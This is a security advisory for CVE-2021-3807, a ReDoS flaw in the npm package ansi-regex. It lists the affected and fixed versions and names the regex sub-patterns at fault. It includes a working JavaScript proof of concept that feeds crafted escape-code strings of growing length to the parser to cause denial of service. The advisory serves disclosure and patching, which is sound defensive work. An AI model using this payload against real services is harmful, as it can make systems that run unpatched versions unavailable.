GHSA-93q8-gq69-wqmw

Inefficient Regular Expression Complexity in chalk/ansi-regex

At a glance

Published
Updated
CVE
CVE-2021-3807
CVSS_V3
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Description

ansi-regex is vulnerable to Inefficient Regular Expression Complexity which could lead to a denial of service when parsing invalid ANSI escape codes. **Proof of Concept** ```js import ansiRegex from 'ansi-regex'; for(var i = 1; i <= 50000; i++) { var time = Date.now(); var attack_str = "\u001B["+";".repeat(i*10000); ansiRegex().test(attack_str) var time_cost = Date.now() - time; console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms") } ``` The ReDOS is mainly due to the sub-patterns `[[\\]()#;?]*` and `(?:;[-a-zA-Z\\d\\/#&.:=?%@~_]*)*`

Affected packages

PackageVersions
npm · ansi-regexintroduced 6.0.0, fixed 6.0.1
npm · ansi-regexintroduced 5.0.0, fixed 5.0.1
npm · ansi-regexintroduced 4.0.0, fixed 4.1.1
npm · ansi-regexintroduced 3.0.0, fixed 3.0.1

References

Sources

SourceLicence
OSV.devCC-BY 4.0 — GitHub Advisory Database